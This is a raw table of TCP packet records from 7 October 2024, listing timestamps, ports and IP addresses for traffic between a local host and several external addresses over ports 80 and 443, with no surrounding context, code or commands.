Oct 7, 2024 03:23:18.190931082 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.190946102 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.190957069 CEST	49877	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.190960884 CEST	443	49877	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.193248987 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.193267107 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.193329096 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.193456888 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.193470955 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.194911957 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.195312977 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.195367098 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.195406914 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.195439100 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.195455074 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.195461035 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.195539951 CEST	49878	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.195544958 CEST	443	49878	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.197581053 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.197654963 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.197870016 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.198008060 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.198040009 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.198358059 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.198385000 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.198426962 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.198472977 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.198575974 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.198586941 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.198600054 CEST	49876	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.198605061 CEST	443	49876	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.200285912 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.200344086 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.200460911 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.200572014 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.200601101 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.548907995 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.549506903 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.549535990 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.549841881 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.549846888 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.561058044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561081886 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561093092 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561136961 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561147928 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561158895 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561199903 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561211109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561220884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561230898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.561230898 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.561230898 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.561230898 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.561230898 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.561259031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.561264992 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.566178083 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.566241026 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.566270113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.566323996 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.566442966 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.566485882 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.640100956 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:18.640132904 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:18.640228033 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:18.640535116 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:18.640547991 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:18.646893024 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.647052050 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.647149086 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.647181988 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.647200108 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.647208929 CEST	49880	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.647213936 CEST	443	49880	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.650254011 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.650311947 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.650382996 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.650515079 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.650548935 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.690335989 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690411091 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690442085 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690474987 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.690495014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690500975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.690524101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690572023 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.690812111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690865040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690897942 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690922022 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.690929890 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690947056 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.690965891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.690974951 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.690999985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.691008091 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.691050053 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.691740036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.691788912 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.691791058 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.691823959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.691833019 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.691857100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.691890001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.691905022 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.691924095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.691972971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.692677021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.692728043 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.692728996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.692764044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.692795992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.692809105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.692831039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.692833900 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.693111897 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.693420887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.693475008 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.695358992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.695415020 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.789577961 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.790029049 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.790054083 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.790617943 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.790627003 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.819760084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.819792032 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.819825888 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.819873095 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.819891930 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.819932938 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.819984913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820034027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820035934 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820069075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820102930 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820116043 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820137024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820152044 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820171118 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820204020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820214033 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820238113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820269108 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820278883 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820305109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820310116 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820790052 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820820093 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820844889 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820861101 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820877075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820909977 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820925951 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820945024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820955992 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.820981026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.820987940 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821023941 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821135998 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821185112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821201086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821238995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821248055 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821274042 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821286917 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821316004 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821326971 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821358919 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821372032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821396112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821403027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821429968 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821435928 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821464062 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821477890 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821500063 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.821508884 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821548939 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.821980000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822026014 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822031021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822066069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822073936 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822108984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822124004 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822156906 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822170973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822191000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822202921 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822225094 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822235107 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822257996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822266102 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822290897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822302103 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822324991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822335958 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822356939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822365999 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822391033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822422028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822437048 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.822947979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.822982073 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.823014975 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.823025942 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.823048115 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.823060036 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.823081017 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.823128939 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.830485106 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.832003117 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.832030058 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.832524061 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.832535028 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.846453905 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.846853971 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.846955061 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.846977949 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.847177982 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.847198963 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.847466946 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.847480059 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.847614050 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.847625971 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.888520956 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.888556957 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.888595104 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.888644934 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.888778925 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.888778925 CEST	49882	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.888792038 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.888803959 CEST	443	49882	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.891644001 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.891661882 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.891735077 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.891880989 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.891892910 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.929019928 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.930366039 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.930411100 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.930428982 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.930468082 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.930506945 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.930535078 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.930558920 CEST	49884	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.930572033 CEST	443	49884	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.933171034 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.933228016 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.933316946 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.933450937 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.933479071 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.946932077 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.947237968 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.947381973 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.947451115 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.947645903 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.948677063 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.948841095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.948863983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.948873997 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.948883057 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.948894024 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.948911905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.948941946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949126959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949137926 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949148893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949158907 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949177980 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949202061 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949280024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949291945 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949302912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949314117 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949316025 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949337006 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949358940 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949379921 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949389935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949399948 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949410915 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949415922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949421883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949424028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949443102 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949464083 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949851036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949862003 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949872017 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.949894905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949906111 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.949979067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950018883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950028896 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950057030 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950067043 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950078011 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950088978 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950115919 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950289011 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950330973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950340986 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950352907 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950387001 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950412989 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950423002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950433016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950443029 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950454950 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950458050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950472116 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950494051 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950906038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950917006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950948954 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950968981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950970888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.950978994 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.950989008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951004028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951014042 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951030016 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951031923 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951042891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951066971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951088905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951590061 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951598883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951608896 CEST	80	49879	185.215.113.103	192.168.2.4
